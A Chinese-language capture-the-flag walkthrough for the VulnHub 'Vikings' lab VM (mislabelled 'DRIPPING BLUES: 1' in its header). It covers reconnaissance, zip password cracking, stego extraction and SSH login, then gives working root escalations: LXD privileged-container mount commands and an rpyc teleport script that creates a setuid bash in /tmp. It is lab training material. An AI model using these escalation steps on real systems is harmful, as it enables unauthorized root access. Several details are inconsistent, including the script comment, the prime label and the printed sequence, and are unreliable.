准备:
攻击机:虚拟机kali、本机win10。
靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/vikings/Vikings.ova,下载后直接vbox打开即可。
知识点:binwalk获取隐藏信息、base64文件解密、john爆破密码、考拉兹猜想、rpyc提权、lxd提权。
信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.1.0/24,获得靶机地址:192.168.1.34。
扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.1.34,显示开放了21、80端口,开启了ssh、http服务。
访问web服务并检查源代码信息未发现有效信息,使用dirmap进行目录扫描,发现war.txt。
访问war.txt文件给出了一个目录:/war-is-over,访问该目录:http://192.168.1.34/site/war-is-over/,返回的是一串加密的字符串。
字符串解密:
将base64编码(最后存在=,猜测应该是base64)的字符串进行解码保存到本地并使用file查看文件类型,获得文件类型为zip,命令:curl http://192.168.1.34/site/war-is-over/ | base64 -d > upfine。
修改文件后缀名然后进行解压文件,但是显示需要密码。使用fcrackzip进行密码的爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失败。
fcrackzip爆破失败,那我们就使用zip2john把他的密码信息提取出来,命令:zip2john upfine.zip > passwd,然后使用john进行破解,命令:john passwd --show,成功获得密码:ragnarok123。
对文件进行解密,解密之后发现是一张图片。
图片解密:
使用steghide获取隐藏信息,但是获取失败,就换了下工具使用binwalk获取隐藏信息,发现存在一个user文件。
使用binwalk获取下user文件并进行查看,命令:binwalk -e king。查看后获得两组字符串:FamousBoatbuilder_floki@vikings和f@m0usboatbuilde7。
获取shell:
根据获取的字符串信息猜测是一组账户名和密码,经过测试最终:floki:f@m0usboatbuilde7可以成功登录。
在当前账户下查看下目录信息,发现了readme.txt文件和boat文件并读取文件内容,内容信息告诉我们要找到ragnar,这里猜测这是一个账户,boat文件告诉我们要进行考拉兹猜想第29个素数。
提权-方式一:
查看当前用户下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,发现了:/usr/lib/policykit-1/polkit-agent-helper-1、/usr/lib/dbus-1.0/dbus-daemon-launch-helper、/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic。之前遇到过policykit两个漏洞:CVE-2021-4034和CVE-2021-3560,在这里测试无法提权。但是lxd提权在这里是可以实现的。
这里不是一个完整的lxd提权漏洞,因为镜像等一些信息都是已经安装好的,在我们进行安装时提示我们已经存在了,所以我们直接利用他原有的镜像就可以实现提权。
查看下image列表信息,命令:lxc image list。
之后依次执行下面语句,成功获得root权限。
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。
提权-方式二:
考拉兹猜想:
先理解下考拉兹猜想,直接看下图,这个说的很直观。
查找了一下第29个素数,显示是109,那写一个简单的脚本跑一下29的Collatz 序列。
collatz脚本
#对任意正整数n,若n为偶数则除以1,若n为奇数则乘3再加1,如此反复,其结果最终必会达到1
#博客园@upfine
num = 109
collatz=[109]
while num != 1:
if num % 2 == 1:
num = num * 3 + 1
else:
num = num / 2
if num <= 127 and num >32: #asii表内字符对应的10进制范围
collatz.append(int(num))
print(collatz)
Collatz 序列结果
[109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]
然后写一个简单的脚本对Collatz 序列进行转换,转换后获得一串字符串:mR)|>^/Gky[gz=\.F#j5P(,猜测是密码。
获取ragnar账户shell:
尝试使用ragnar/mR)|>^/Gky[gz=\.F#j5P(进行shell登录,成功登录,在ragnar账户下发现第一个flag信息。
提权:
在ragnar账户目录下,发现多出来了一个.profile文件,查看该文件内容发现以root权限调用了/usr/local/bin/rpyc_classic.py文件。
查看该文件权限,显示只具有读取权限,无法写入。这里找了下脚本直接将root权限进行复制。
import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
import os
os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
fn = conn.teleport(getshell)
fn()
写入exp.py文件进行执行,会在/tmp文件夹下生成bashroot文件,执行bashroot文件(./bashroot -p)获得root权限。
在root目录下发现root.txt文件,读取文件信息获取到flag。